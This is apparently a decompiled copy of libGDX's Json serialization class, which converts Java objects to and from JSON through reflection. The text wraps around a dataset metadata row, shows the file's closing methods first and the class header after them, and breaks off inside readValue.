if (type == Boolean.TYPE || type == Boolean.class) {
return (T)Boolean.valueOf(string);
}
if (type == Character.TYPE || type == Character.class) {
return (T)Character.valueOf(string.charAt(0));
}
if (ClassReflection.isAssignableFrom(Enum.class, type)) {
final Enum[] constants = (Enum[])type.getEnumConstants();
for (int i = 0, n = constants.length; i < n; ++i) {
final Enum e = constants[i];
if (string.equals(this.convertToString(e))) {
return (T)e;
}
}
}
if (type == CharSequence.class) {
return (T)string;
}
throw new SerializationException("Unable to convert value to required type: " + jsonData + " (" + type.getName() + ")");
}
}
public void copyFields(final Object from, final Object to) {
final ObjectMap<String, FieldMetadata> toFields = this.getFields(from.getClass());
for (final ObjectMap.Entry<String, FieldMetadata> entry : this.getFields(from.getClass())) {
final FieldMetadata toField = toFields.get(entry.key);
final Field fromField = entry.value.field;
if (toField == null) {
throw new SerializationException("To object is missing field" + entry.key);
}
try {
toField.field.set(to, fromField.get(from));
}
catch (ReflectionException ex) {
throw new SerializationException("Error copying field: " + fromField.getName(), ex);
}
}
}
private String convertToString(final Enum e) {
return this.enumNames ? e.name() : e.toString();
}
private String convertToString(final Object object) {
if (object instanceof Enum) {
return this.convertToString((Enum)object);
}
if (object instanceof Class) {
return ((Class)object).getName();
}
return String.valueOf(object);
}
protected Object newInstance(Class type) {
try {
return ClassReflection.newInstance(type);
}
catch (Exception ex) {
try {
final Constructor constructor = ClassReflection.getDeclaredConstructor(type, new Class[0]);
constructor.setAccessible(true);
return constructor.newInstance(new Object[0]);
}
catch (SecurityException ex2) {}
catch (ReflectionException ignored) {
if (ClassReflection.isAssignableFrom(Enum.class, type)) {
if (type.getEnumConstants() == null) {
type = type.getSuperclass();
}
return type.getEnumConstants()[0];
}
if (type.isArray()) {
throw new SerializationException("Encountered JSON object when expected array of type: " + type.getName(), ex);
}
if (ClassReflection.isMemberClass(type) && !ClassReflection.isStaticClass(type)) {
throw new SerializationException("Class cannot be created (non-static member class): " + type.getName(), ex);
}
throw new SerializationException("Class cannot be created (missing no-arg constructor): " + type.getName(), ex);
}
catch (Exception privateConstructorException) {
ex = privateConstructorException;
}
throw new SerializationException("Error constructing instance of class: " + type.getName(), ex);
}
}
public String prettyPrint(final Object object) {
return this.prettyPrint(object, 0);
}
public String prettyPrint(final String json) {
return this.prettyPrint(json, 0);
}
public String prettyPrint(final Object object, final int singleLineColumns) {
return this.prettyPrint(this.toJson(object), singleLineColumns);
}
public String prettyPrint(final String json, final int singleLineColumns) {
return new JsonReader().parse(json).prettyPrint(this.outputType, singleLineColumns);
}
public String prettyPrint(final Object object, final JsonValue.PrettyPrintSettings settings) {
return this.prettyPrint(this.toJson(object), settings);
}
public String prettyPrint(final String json, final JsonValue.PrettyPrintSettings settings) {
return new JsonReader().parse(json).prettyPrint(settings);
}
private static class FieldMetadata
{
final Field field;
Class elementType;
public FieldMetadata(final Field field) {
this.field = field;
final int index = (ClassReflection.isAssignableFrom(ObjectMap.class, field.getType()) || ClassReflection.isAssignableFrom(Map.class, field.getType())) ? 1 : 0;
this.elementType = field.getElementType(index);
}
}
public abstract static class ReadOnlySerializer<T> implements Serializer<T>
{
@Override
public void write(final Json json, final T object, final Class knownType) {
}
@Override
public abstract T read(final Json p0, final JsonValue p1, final Class p2);
}
public interface Serializer<T>
{
void write(final Json p0, final T p1, final Class p2);
T read(final Json p0, final JsonValue p1, final Class p2);
}
public interface Serializable
{
void write(final Json p0);
void read(final Json p0, final JsonValue p1);
}
}
|
UTF-8
|
Java
| 48,970 |
java
|
Json.java
|
Java
|
[] | null |
[] |
//
// Decompiled by Procyon v0.5.36
//
package com.badlogic.gdx.utils;
import com.badlogic.gdx.utils.reflect.Constructor;
import java.io.InputStream;
import java.io.Reader;
import java.util.HashMap;
import java.util.Map;
import com.badlogic.gdx.utils.reflect.ArrayReflection;
import java.io.IOException;
import java.util.Iterator;
import com.badlogic.gdx.utils.reflect.ReflectionException;
import java.util.Arrays;
import java.io.Closeable;
import com.badlogic.gdx.files.FileHandle;
import java.io.Writer;
import java.io.StringWriter;
import java.lang.annotation.Annotation;
import java.security.AccessControlException;
import java.util.Collection;
import java.util.Collections;
import com.badlogic.gdx.utils.reflect.ClassReflection;
import com.badlogic.gdx.utils.reflect.Field;
import java.util.ArrayList;
public class Json
{
private static final boolean debug = false;
private JsonWriter writer;
private String typeName;
private boolean usePrototypes;
private JsonWriter.OutputType outputType;
private boolean quoteLongValues;
private boolean ignoreUnknownFields;
private boolean ignoreDeprecated;
private boolean readDeprecated;
private boolean enumNames;
private Serializer defaultSerializer;
private final ObjectMap<Class, OrderedMap<String, FieldMetadata>> typeToFields;
private final ObjectMap<String, Class> tagToClass;
private final ObjectMap<Class, String> classToTag;
private final ObjectMap<Class, Serializer> classToSerializer;
private final ObjectMap<Class, Object[]> classToDefaultValues;
private final Object[] equals1;
private final Object[] equals2;
public Json() {
this.typeName = "class";
this.usePrototypes = true;
this.enumNames = true;
this.typeToFields = new ObjectMap<Class, OrderedMap<String, FieldMetadata>>();
this.tagToClass = new ObjectMap<String, Class>();
this.classToTag = new ObjectMap<Class, String>();
this.classToSerializer = new ObjectMap<Class, Serializer>();
this.classToDefaultValues = new ObjectMap<Class, Object[]>();
this.equals1 = new Object[1];
this.equals2 = new Object[1];
this.outputType = JsonWriter.OutputType.minimal;
}
public Json(final JsonWriter.OutputType outputType) {
this.typeName = "class";
this.usePrototypes = true;
this.enumNames = true;
this.typeToFields = new ObjectMap<Class, OrderedMap<String, FieldMetadata>>();
this.tagToClass = new ObjectMap<String, Class>();
this.classToTag = new ObjectMap<Class, String>();
this.classToSerializer = new ObjectMap<Class, Serializer>();
this.classToDefaultValues = new ObjectMap<Class, Object[]>();
this.equals1 = new Object[1];
this.equals2 = new Object[1];
this.outputType = outputType;
}
public void setIgnoreUnknownFields(final boolean ignoreUnknownFields) {
this.ignoreUnknownFields = ignoreUnknownFields;
}
public boolean getIgnoreUnknownFields() {
return this.ignoreUnknownFields;
}
public void setIgnoreDeprecated(final boolean ignoreDeprecated) {
this.ignoreDeprecated = ignoreDeprecated;
}
public void setReadDeprecated(final boolean readDeprecated) {
this.readDeprecated = readDeprecated;
}
public void setOutputType(final JsonWriter.OutputType outputType) {
this.outputType = outputType;
}
public void setQuoteLongValues(final boolean quoteLongValues) {
this.quoteLongValues = quoteLongValues;
}
public void setEnumNames(final boolean enumNames) {
this.enumNames = enumNames;
}
public void addClassTag(final String tag, final Class type) {
this.tagToClass.put(tag, type);
this.classToTag.put(type, tag);
}
public Class getClass(final String tag) {
return this.tagToClass.get(tag);
}
public String getTag(final Class type) {
return this.classToTag.get(type);
}
public void setTypeName(final String typeName) {
this.typeName = typeName;
}
public void setDefaultSerializer(final Serializer defaultSerializer) {
this.defaultSerializer = defaultSerializer;
}
public <T> void setSerializer(final Class<T> type, final Serializer<T> serializer) {
this.classToSerializer.put(type, serializer);
}
public <T> Serializer<T> getSerializer(final Class<T> type) {
return this.classToSerializer.get(type);
}
public void setUsePrototypes(final boolean usePrototypes) {
this.usePrototypes = usePrototypes;
}
public void setElementType(final Class type, final String fieldName, final Class elementType) {
final ObjectMap<String, FieldMetadata> fields = this.getFields(type);
final FieldMetadata metadata = fields.get(fieldName);
if (metadata == null) {
throw new SerializationException("Field not found: " + fieldName + " (" + type.getName() + ")");
}
metadata.elementType = elementType;
}
private OrderedMap<String, FieldMetadata> getFields(final Class type) {
final OrderedMap<String, FieldMetadata> fields = this.typeToFields.get(type);
if (fields != null) {
return fields;
}
final Array<Class> classHierarchy = new Array<Class>();
for (Class nextClass = type; nextClass != Object.class; nextClass = nextClass.getSuperclass()) {
classHierarchy.add(nextClass);
}
final ArrayList<Field> allFields = new ArrayList<Field>();
for (int i = classHierarchy.size - 1; i >= 0; --i) {
Collections.addAll(allFields, ClassReflection.getDeclaredFields(classHierarchy.get(i)));
}
final OrderedMap<String, FieldMetadata> nameToField = new OrderedMap<String, FieldMetadata>(allFields.size());
for (int j = 0, n = allFields.size(); j < n; ++j) {
final Field field = allFields.get(j);
if (!field.isTransient()) {
if (!field.isStatic()) {
if (!field.isSynthetic()) {
if (!field.isAccessible()) {
try {
field.setAccessible(true);
}
catch (AccessControlException ex) {
continue;
}
}
if (!this.ignoreDeprecated || this.readDeprecated || !field.isAnnotationPresent(Deprecated.class)) {
nameToField.put(field.getName(), new FieldMetadata(field));
}
}
}
}
}
this.typeToFields.put(type, nameToField);
return nameToField;
}
public String toJson(final Object object) {
return this.toJson(object, (object == null) ? null : object.getClass(), (Class)null);
}
public String toJson(final Object object, final Class knownType) {
return this.toJson(object, knownType, (Class)null);
}
public String toJson(final Object object, final Class knownType, final Class elementType) {
final StringWriter buffer = new StringWriter();
this.toJson(object, knownType, elementType, buffer);
return buffer.toString();
}
public void toJson(final Object object, final FileHandle file) {
this.toJson(object, (object == null) ? null : object.getClass(), null, file);
}
public void toJson(final Object object, final Class knownType, final FileHandle file) {
this.toJson(object, knownType, null, file);
}
public void toJson(final Object object, final Class knownType, final Class elementType, final FileHandle file) {
Writer writer = null;
try {
writer = file.writer(false, "UTF-8");
this.toJson(object, knownType, elementType, writer);
}
catch (Exception ex) {
throw new SerializationException("Error writing file: " + file, ex);
}
finally {
StreamUtils.closeQuietly(writer);
}
StreamUtils.closeQuietly(writer);
}
public void toJson(final Object object, final Writer writer) {
this.toJson(object, (object == null) ? null : object.getClass(), null, writer);
}
public void toJson(final Object object, final Class knownType, final Writer writer) {
this.toJson(object, knownType, null, writer);
}
public void toJson(final Object object, final Class knownType, final Class elementType, final Writer writer) {
this.setWriter(writer);
try {
this.writeValue(object, knownType, elementType);
}
finally {
StreamUtils.closeQuietly(this.writer);
this.writer = null;
}
StreamUtils.closeQuietly(this.writer);
this.writer = null;
}
public void setWriter(Writer writer) {
if (!(writer instanceof JsonWriter)) {
writer = new JsonWriter(writer);
}
(this.writer = (JsonWriter)writer).setOutputType(this.outputType);
this.writer.setQuoteLongValues(this.quoteLongValues);
}
public JsonWriter getWriter() {
return this.writer;
}
public void writeFields(final Object object) {
final Class type = object.getClass();
final Object[] defaultValues = this.getDefaultValues(type);
final OrderedMap<String, FieldMetadata> fields = this.getFields(type);
int i = 0;
for (final FieldMetadata metadata : new OrderedMap.OrderedMapValues<Object>((OrderedMap<?, Object>)fields)) {
final Field field = metadata.field;
if (this.readDeprecated && this.ignoreDeprecated && field.isAnnotationPresent(Deprecated.class)) {
continue;
}
try {
final Object value = field.get(object);
if (defaultValues != null) {
final Object defaultValue = defaultValues[i++];
if (value == null && defaultValue == null) {
continue;
}
if (value != null && defaultValue != null) {
if (value.equals(defaultValue)) {
continue;
}
if (value.getClass().isArray() && defaultValue.getClass().isArray()) {
this.equals1[0] = value;
this.equals2[0] = defaultValue;
if (Arrays.deepEquals(this.equals1, this.equals2)) {
continue;
}
}
}
}
this.writer.name(field.getName());
this.writeValue(value, field.getType(), metadata.elementType);
}
catch (ReflectionException ex) {
throw new SerializationException("Error accessing field: " + field.getName() + " (" + type.getName() + ")", ex);
}
catch (SerializationException ex2) {
ex2.addTrace(field + " (" + type.getName() + ")");
throw ex2;
}
catch (Exception runtimeEx) {
final SerializationException ex3 = new SerializationException(runtimeEx);
ex3.addTrace(field + " (" + type.getName() + ")");
throw ex3;
}
}
}
private Object[] getDefaultValues(final Class type) {
if (!this.usePrototypes) {
return null;
}
if (this.classToDefaultValues.containsKey(type)) {
return this.classToDefaultValues.get(type);
}
Object object;
try {
object = this.newInstance(type);
}
catch (Exception ex4) {
this.classToDefaultValues.put(type, null);
return null;
}
final ObjectMap<String, FieldMetadata> fields = this.getFields(type);
final Object[] values = new Object[fields.size];
this.classToDefaultValues.put(type, values);
int i = 0;
for (final FieldMetadata metadata : fields.values()) {
final Field field = metadata.field;
if (this.readDeprecated && this.ignoreDeprecated && field.isAnnotationPresent(Deprecated.class)) {
continue;
}
try {
values[i++] = field.get(object);
}
catch (ReflectionException ex) {
throw new SerializationException("Error accessing field: " + field.getName() + " (" + type.getName() + ")", ex);
}
catch (SerializationException ex2) {
ex2.addTrace(field + " (" + type.getName() + ")");
throw ex2;
}
catch (RuntimeException runtimeEx) {
final SerializationException ex3 = new SerializationException(runtimeEx);
ex3.addTrace(field + " (" + type.getName() + ")");
throw ex3;
}
}
return values;
}
public void writeField(final Object object, final String name) {
this.writeField(object, name, name, null);
}
public void writeField(final Object object, final String name, final Class elementType) {
this.writeField(object, name, name, elementType);
}
public void writeField(final Object object, final String fieldName, final String jsonName) {
this.writeField(object, fieldName, jsonName, null);
}
public void writeField(final Object object, final String fieldName, final String jsonName, Class elementType) {
final Class type = object.getClass();
final ObjectMap<String, FieldMetadata> fields = this.getFields(type);
final FieldMetadata metadata = fields.get(fieldName);
if (metadata == null) {
throw new SerializationException("Field not found: " + fieldName + " (" + type.getName() + ")");
}
final Field field = metadata.field;
if (elementType == null) {
elementType = metadata.elementType;
}
try {
this.writer.name(jsonName);
this.writeValue(field.get(object), field.getType(), elementType);
}
catch (ReflectionException ex) {
throw new SerializationException("Error accessing field: " + field.getName() + " (" + type.getName() + ")", ex);
}
catch (SerializationException ex2) {
ex2.addTrace(field + " (" + type.getName() + ")");
throw ex2;
}
catch (Exception runtimeEx) {
final SerializationException ex3 = new SerializationException(runtimeEx);
ex3.addTrace(field + " (" + type.getName() + ")");
throw ex3;
}
}
public void writeValue(final String name, final Object value) {
try {
this.writer.name(name);
}
catch (IOException ex) {
throw new SerializationException(ex);
}
if (value == null) {
this.writeValue(value, null, null);
}
else {
this.writeValue(value, value.getClass(), null);
}
}
public void writeValue(final String name, final Object value, final Class knownType) {
try {
this.writer.name(name);
}
catch (IOException ex) {
throw new SerializationException(ex);
}
this.writeValue(value, knownType, null);
}
public void writeValue(final String name, final Object value, final Class knownType, final Class elementType) {
try {
this.writer.name(name);
}
catch (IOException ex) {
throw new SerializationException(ex);
}
this.writeValue(value, knownType, elementType);
}
public void writeValue(final Object value) {
if (value == null) {
this.writeValue(value, null, null);
}
else {
this.writeValue(value, value.getClass(), null);
}
}
public void writeValue(final Object value, final Class knownType) {
this.writeValue(value, knownType, null);
}
public void writeValue(final Object value, Class knownType, Class elementType) {
try {
if (value == null) {
this.writer.value(null);
return;
}
if ((knownType != null && ((Class)knownType).isPrimitive()) || knownType == String.class || knownType == Integer.class || knownType == Boolean.class || knownType == Float.class || knownType == Long.class || knownType == Double.class || knownType == Short.class || knownType == Byte.class || knownType == Character.class) {
this.writer.value(value);
return;
}
Class actualType = value.getClass();
if (actualType.isPrimitive() || actualType == String.class || actualType == Integer.class || actualType == Boolean.class || actualType == Float.class || actualType == Long.class || actualType == Double.class || actualType == Short.class || actualType == Byte.class || actualType == Character.class) {
this.writeObjectStart(actualType, null);
this.writeValue("value", value);
this.writeObjectEnd();
return;
}
if (value instanceof Serializable) {
this.writeObjectStart(actualType, (Class)knownType);
((Serializable)value).write(this);
this.writeObjectEnd();
return;
}
final Serializer serializer = this.classToSerializer.get(actualType);
if (serializer != null) {
serializer.write(this, value, (Class)knownType);
return;
}
if (value instanceof Array) {
if (knownType != null && actualType != knownType && actualType != Array.class) {
throw new SerializationException("Serialization of an Array other than the known type is not supported.\nKnown type: " + knownType + "\nActual type: " + actualType);
}
this.writeArrayStart();
final Array array = (Array)value;
for (int i = 0, n = array.size; i < n; ++i) {
this.writeValue(array.get(i), elementType, null);
}
this.writeArrayEnd();
}
else if (value instanceof Queue) {
if (knownType != null && actualType != knownType && actualType != Queue.class) {
throw new SerializationException("Serialization of a Queue other than the known type is not supported.\nKnown type: " + knownType + "\nActual type: " + actualType);
}
this.writeArrayStart();
final Queue queue = (Queue)value;
for (int i = 0, n = queue.size; i < n; ++i) {
this.writeValue(queue.get(i), elementType, null);
}
this.writeArrayEnd();
}
else {
if (value instanceof Collection) {
if (this.typeName != null && actualType != ArrayList.class && (knownType == null || knownType != actualType)) {
this.writeObjectStart(actualType, (Class)knownType);
this.writeArrayStart("items");
for (final Object item : (Collection)value) {
this.writeValue(item, elementType, null);
}
this.writeArrayEnd();
this.writeObjectEnd();
}
else {
this.writeArrayStart();
for (final Object item : (Collection)value) {
this.writeValue(item, elementType, null);
}
this.writeArrayEnd();
}
return;
}
if (actualType.isArray()) {
if (elementType == null) {
elementType = actualType.getComponentType();
}
final int length = ArrayReflection.getLength(value);
this.writeArrayStart();
for (int i = 0; i < length; ++i) {
this.writeValue(ArrayReflection.get(value, i), elementType, null);
}
this.writeArrayEnd();
return;
}
if (value instanceof ObjectMap) {
if (knownType == null) {
knownType = ObjectMap.class;
}
this.writeObjectStart(actualType, (Class)knownType);
for (final ObjectMap.Entry entry : ((ObjectMap)value).entries()) {
this.writer.name(this.convertToString(entry.key));
this.writeValue(entry.value, elementType, null);
}
this.writeObjectEnd();
return;
}
if (value instanceof ArrayMap) {
if (knownType == null) {
knownType = ArrayMap.class;
}
this.writeObjectStart(actualType, (Class)knownType);
final ArrayMap map = (ArrayMap)value;
for (int i = 0, n = map.size; i < n; ++i) {
this.writer.name(this.convertToString(map.keys[i]));
this.writeValue(map.values[i], elementType, null);
}
this.writeObjectEnd();
return;
}
if (value instanceof Map) {
if (knownType == null) {
knownType = HashMap.class;
}
this.writeObjectStart(actualType, (Class)knownType);
for (final Map.Entry entry2 : ((Map)value).entrySet()) {
this.writer.name(this.convertToString(entry2.getKey()));
this.writeValue(entry2.getValue(), elementType, null);
}
this.writeObjectEnd();
return;
}
if (ClassReflection.isAssignableFrom(Enum.class, actualType)) {
if (this.typeName != null && (knownType == null || knownType != actualType)) {
if (actualType.getEnumConstants() == null) {
actualType = actualType.getSuperclass();
}
this.writeObjectStart(actualType, null);
this.writer.name("value");
this.writer.value(this.convertToString((Enum)value));
this.writeObjectEnd();
}
else {
this.writer.value(this.convertToString((Enum)value));
}
return;
}
this.writeObjectStart(actualType, (Class)knownType);
this.writeFields(value);
this.writeObjectEnd();
}
}
catch (IOException ex) {
throw new SerializationException(ex);
}
}
public void writeObjectStart(final String name) {
try {
this.writer.name(name);
}
catch (IOException ex) {
throw new SerializationException(ex);
}
this.writeObjectStart();
}
public void writeObjectStart(final String name, final Class actualType, final Class knownType) {
try {
this.writer.name(name);
}
catch (IOException ex) {
throw new SerializationException(ex);
}
this.writeObjectStart(actualType, knownType);
}
public void writeObjectStart() {
try {
this.writer.object();
}
catch (IOException ex) {
throw new SerializationException(ex);
}
}
public void writeObjectStart(final Class actualType, final Class knownType) {
try {
this.writer.object();
}
catch (IOException ex) {
throw new SerializationException(ex);
}
if (knownType == null || knownType != actualType) {
this.writeType(actualType);
}
}
public void writeObjectEnd() {
try {
this.writer.pop();
}
catch (IOException ex) {
throw new SerializationException(ex);
}
}
public void writeArrayStart(final String name) {
try {
this.writer.name(name);
this.writer.array();
}
catch (IOException ex) {
throw new SerializationException(ex);
}
}
public void writeArrayStart() {
try {
this.writer.array();
}
catch (IOException ex) {
throw new SerializationException(ex);
}
}
public void writeArrayEnd() {
try {
this.writer.pop();
}
catch (IOException ex) {
throw new SerializationException(ex);
}
}
public void writeType(final Class type) {
if (this.typeName == null) {
return;
}
String className = this.getTag(type);
if (className == null) {
className = type.getName();
}
try {
this.writer.set(this.typeName, className);
}
catch (IOException ex) {
throw new SerializationException(ex);
}
}
public <T> T fromJson(final Class<T> type, final Reader reader) {
return this.readValue(type, null, new JsonReader().parse(reader));
}
public <T> T fromJson(final Class<T> type, final Class elementType, final Reader reader) {
return this.readValue(type, elementType, new JsonReader().parse(reader));
}
public <T> T fromJson(final Class<T> type, final InputStream input) {
return this.readValue(type, null, new JsonReader().parse(input));
}
public <T> T fromJson(final Class<T> type, final Class elementType, final InputStream input) {
return this.readValue(type, elementType, new JsonReader().parse(input));
}
public <T> T fromJson(final Class<T> type, final FileHandle file) {
try {
return this.readValue(type, null, new JsonReader().parse(file));
}
catch (Exception ex) {
throw new SerializationException("Error reading file: " + file, ex);
}
}
public <T> T fromJson(final Class<T> type, final Class elementType, final FileHandle file) {
try {
return this.readValue(type, elementType, new JsonReader().parse(file));
}
catch (Exception ex) {
throw new SerializationException("Error reading file: " + file, ex);
}
}
public <T> T fromJson(final Class<T> type, final char[] data, final int offset, final int length) {
return this.readValue(type, null, new JsonReader().parse(data, offset, length));
}
public <T> T fromJson(final Class<T> type, final Class elementType, final char[] data, final int offset, final int length) {
return this.readValue(type, elementType, new JsonReader().parse(data, offset, length));
}
public <T> T fromJson(final Class<T> type, final String json) {
return this.readValue(type, null, new JsonReader().parse(json));
}
public <T> T fromJson(final Class<T> type, final Class elementType, final String json) {
return this.readValue(type, elementType, new JsonReader().parse(json));
}
public void readField(final Object object, final String name, final JsonValue jsonData) {
this.readField(object, name, name, null, jsonData);
}
public void readField(final Object object, final String name, final Class elementType, final JsonValue jsonData) {
this.readField(object, name, name, elementType, jsonData);
}
public void readField(final Object object, final String fieldName, final String jsonName, final JsonValue jsonData) {
this.readField(object, fieldName, jsonName, null, jsonData);
}
public void readField(final Object object, final String fieldName, final String jsonName, Class elementType, final JsonValue jsonMap) {
final Class type = object.getClass();
final ObjectMap<String, FieldMetadata> fields = this.getFields(type);
final FieldMetadata metadata = fields.get(fieldName);
if (metadata == null) {
throw new SerializationException("Field not found: " + fieldName + " (" + type.getName() + ")");
}
final Field field = metadata.field;
if (elementType == null) {
elementType = metadata.elementType;
}
this.readField(object, field, jsonName, elementType, jsonMap);
}
public void readField(final Object object, final Field field, final String jsonName, final Class elementType, final JsonValue jsonMap) {
final JsonValue jsonValue = jsonMap.get(jsonName);
if (jsonValue == null) {
return;
}
try {
field.set(object, this.readValue((Class<Object>)field.getType(), elementType, jsonValue));
}
catch (ReflectionException ex) {
throw new SerializationException("Error accessing field: " + field.getName() + " (" + field.getDeclaringClass().getName() + ")", ex);
}
catch (SerializationException ex2) {
ex2.addTrace(String.valueOf(field.getName()) + " (" + field.getDeclaringClass().getName() + ")");
throw ex2;
}
catch (RuntimeException runtimeEx) {
final SerializationException ex3 = new SerializationException(runtimeEx);
ex3.addTrace(jsonValue.trace());
ex3.addTrace(String.valueOf(field.getName()) + " (" + field.getDeclaringClass().getName() + ")");
throw ex3;
}
}
public void readFields(final Object object, final JsonValue jsonMap) {
final Class type = object.getClass();
final ObjectMap<String, FieldMetadata> fields = this.getFields(type);
for (JsonValue child = jsonMap.child; child != null; child = child.next) {
final FieldMetadata metadata = fields.get(child.name().replace(" ", "_"));
if (metadata == null) {
if (!child.name.equals(this.typeName)) {
if (!this.ignoreUnknownFields) {
if (!this.ignoreUnknownField(type, child.name)) {
final SerializationException ex = new SerializationException("Field not found: " + child.name + " (" + type.getName() + ")");
ex.addTrace(child.trace());
throw ex;
}
}
}
}
else {
final Field field = metadata.field;
try {
field.set(object, this.readValue((Class<Object>)field.getType(), metadata.elementType, child));
}
catch (ReflectionException ex2) {
throw new SerializationException("Error accessing field: " + field.getName() + " (" + type.getName() + ")", ex2);
}
catch (SerializationException ex3) {
ex3.addTrace(String.valueOf(field.getName()) + " (" + type.getName() + ")");
throw ex3;
}
catch (RuntimeException runtimeEx) {
final SerializationException ex4 = new SerializationException(runtimeEx);
ex4.addTrace(child.trace());
ex4.addTrace(String.valueOf(field.getName()) + " (" + type.getName() + ")");
throw ex4;
}
}
}
}
protected boolean ignoreUnknownField(final Class type, final String fieldName) {
return false;
}
public <T> T readValue(final String name, final Class<T> type, final JsonValue jsonMap) {
return this.readValue(type, null, jsonMap.get(name));
}
public <T> T readValue(final String name, final Class<T> type, final T defaultValue, final JsonValue jsonMap) {
final JsonValue jsonValue = jsonMap.get(name);
if (jsonValue == null) {
return defaultValue;
}
return this.readValue(type, null, jsonValue);
}
public <T> T readValue(final String name, final Class<T> type, final Class elementType, final JsonValue jsonMap) {
return this.readValue(type, elementType, jsonMap.get(name));
}
public <T> T readValue(final String name, final Class<T> type, final Class elementType, final T defaultValue, final JsonValue jsonMap) {
final JsonValue jsonValue = jsonMap.get(name);
return this.readValue(type, elementType, defaultValue, jsonValue);
}
public <T> T readValue(final Class<T> type, final Class elementType, final T defaultValue, final JsonValue jsonData) {
if (jsonData == null) {
return defaultValue;
}
return this.readValue(type, elementType, jsonData);
}
public <T> T readValue(final Class<T> type, final JsonValue jsonData) {
return this.readValue(type, null, jsonData);
}
public <T> T readValue(Class<T> type, Class elementType, JsonValue jsonData) {
if (jsonData == null) {
return null;
}
if (jsonData.isObject()) {
final String className = (this.typeName == null) ? null : jsonData.getString(this.typeName, null);
if (className != null) {
type = (Class<T>)this.getClass(className);
if (type == null) {
try {
type = (Class<T>)ClassReflection.forName(className);
}
catch (ReflectionException ex) {
throw new SerializationException(ex);
}
}
}
if (type == null) {
if (this.defaultSerializer != null) {
return this.defaultSerializer.read(this, jsonData, type);
}
return (T)jsonData;
}
else if (this.typeName != null && ClassReflection.isAssignableFrom(Collection.class, type)) {
jsonData = jsonData.get("items");
if (jsonData == null) {
throw new SerializationException("Unable to convert object to collection: " + jsonData + " (" + type.getName() + ")");
}
}
else {
final Serializer serializer = this.classToSerializer.get(type);
if (serializer != null) {
return serializer.read(this, jsonData, type);
}
if (type == String.class || type == Integer.class || type == Boolean.class || type == Float.class || type == Long.class || type == Double.class || type == Short.class || type == Byte.class || type == Character.class || ClassReflection.isAssignableFrom(Enum.class, type)) {
return this.readValue("value", type, jsonData);
}
final Object object = this.newInstance(type);
if (object instanceof Serializable) {
((Serializable)object).read(this, jsonData);
return (T)object;
}
if (object instanceof ObjectMap) {
final ObjectMap result = (ObjectMap)object;
for (JsonValue child = jsonData.child; child != null; child = child.next) {
result.put(child.name, this.readValue((Class<Object>)elementType, null, child));
}
return (T)result;
}
if (object instanceof ArrayMap) {
final ArrayMap result2 = (ArrayMap)object;
for (JsonValue child = jsonData.child; child != null; child = child.next) {
result2.put(child.name, this.readValue((Class<Object>)elementType, null, child));
}
return (T)result2;
}
if (object instanceof Map) {
final Map result3 = (Map)object;
for (JsonValue child = jsonData.child; child != null; child = child.next) {
if (!child.name.equals(this.typeName)) {
result3.put(child.name, this.readValue((Class<Object>)elementType, null, child));
}
}
return (T)result3;
}
this.readFields(object, jsonData);
return (T)object;
}
}
if (type != null) {
final Serializer serializer2 = this.classToSerializer.get(type);
if (serializer2 != null) {
return serializer2.read(this, jsonData, type);
}
if (ClassReflection.isAssignableFrom(Serializable.class, type)) {
final Object object2 = this.newInstance(type);
((Serializable)object2).read(this, jsonData);
return (T)object2;
}
}
if (jsonData.isArray()) {
if (type == null || type == Object.class) {
type = (Class<T>)Array.class;
}
if (ClassReflection.isAssignableFrom(Array.class, type)) {
final Array result4 = (Array)((type == Array.class) ? new Array() : this.newInstance(type));
for (JsonValue child2 = jsonData.child; child2 != null; child2 = child2.next) {
result4.add(this.readValue((Class<Object>)elementType, null, child2));
}
return (T)result4;
}
if (ClassReflection.isAssignableFrom(Queue.class, type)) {
final Queue result5 = (Queue)((type == Queue.class) ? new Queue() : this.newInstance(type));
for (JsonValue child2 = jsonData.child; child2 != null; child2 = child2.next) {
result5.addLast(this.readValue((Class<Object>)elementType, null, child2));
}
return (T)result5;
}
if (ClassReflection.isAssignableFrom(Collection.class, type)) {
final Collection result6 = type.isInterface() ? new ArrayList() : ((Collection)this.newInstance(type));
for (JsonValue child2 = jsonData.child; child2 != null; child2 = child2.next) {
result6.add(this.readValue((Class<Object>)elementType, null, child2));
}
return (T)result6;
}
if (type.isArray()) {
final Class componentType = type.getComponentType();
if (elementType == null) {
elementType = componentType;
}
final Object result7 = ArrayReflection.newInstance(componentType, jsonData.size);
int i = 0;
for (JsonValue child3 = jsonData.child; child3 != null; child3 = child3.next) {
ArrayReflection.set(result7, i++, this.readValue((Class<Object>)elementType, null, child3));
}
return (T)result7;
}
throw new SerializationException("Unable to convert value to required type: " + jsonData + " (" + type.getName() + ")");
}
else {
if (jsonData.isNumber()) {
try {
if (type == null || type == Float.TYPE || type == Float.class) {
return (T)Float.valueOf(jsonData.asFloat());
}
if (type == Integer.TYPE || type == Integer.class) {
return (T)Integer.valueOf(jsonData.asInt());
}
if (type == Long.TYPE || type == Long.class) {
return (T)Long.valueOf(jsonData.asLong());
}
if (type == Double.TYPE || type == Double.class) {
return (T)Double.valueOf(jsonData.asDouble());
}
if (type == String.class) {
return (T)jsonData.asString();
}
if (type == Short.TYPE || type == Short.class) {
return (T)Short.valueOf(jsonData.asShort());
}
if (type == Byte.TYPE || type == Byte.class) {
return (T)Byte.valueOf(jsonData.asByte());
}
}
catch (NumberFormatException ex2) {}
jsonData = new JsonValue(jsonData.asString());
}
if (jsonData.isBoolean()) {
try {
if (type == null || type == Boolean.TYPE || type == Boolean.class) {
return (T)Boolean.valueOf(jsonData.asBoolean());
}
}
catch (NumberFormatException ex3) {}
jsonData = new JsonValue(jsonData.asString());
}
if (!jsonData.isString()) {
return null;
}
final String string = jsonData.asString();
if (type == null || type == String.class) {
return (T)string;
}
try {
if (type == Integer.TYPE || type == Integer.class) {
return (T)Integer.valueOf(string);
}
if (type == Float.TYPE || type == Float.class) {
return (T)Float.valueOf(string);
}
if (type == Long.TYPE || type == Long.class) {
return (T)Long.valueOf(string);
}
if (type == Double.TYPE || type == Double.class) {
return (T)Double.valueOf(string);
}
if (type == Short.TYPE || type == Short.class) {
return (T)Short.valueOf(string);
}
if (type == Byte.TYPE || type == Byte.class) {
return (T)Byte.valueOf(string);
}
}
catch (NumberFormatException ex4) {}
if (type == Boolean.TYPE || type == Boolean.class) {
return (T)Boolean.valueOf(string);
}
if (type == Character.TYPE || type == Character.class) {
return (T)Character.valueOf(string.charAt(0));
}
if (ClassReflection.isAssignableFrom(Enum.class, type)) {
final Enum[] constants = (Enum[])type.getEnumConstants();
for (int i = 0, n = constants.length; i < n; ++i) {
final Enum e = constants[i];
if (string.equals(this.convertToString(e))) {
return (T)e;
}
}
}
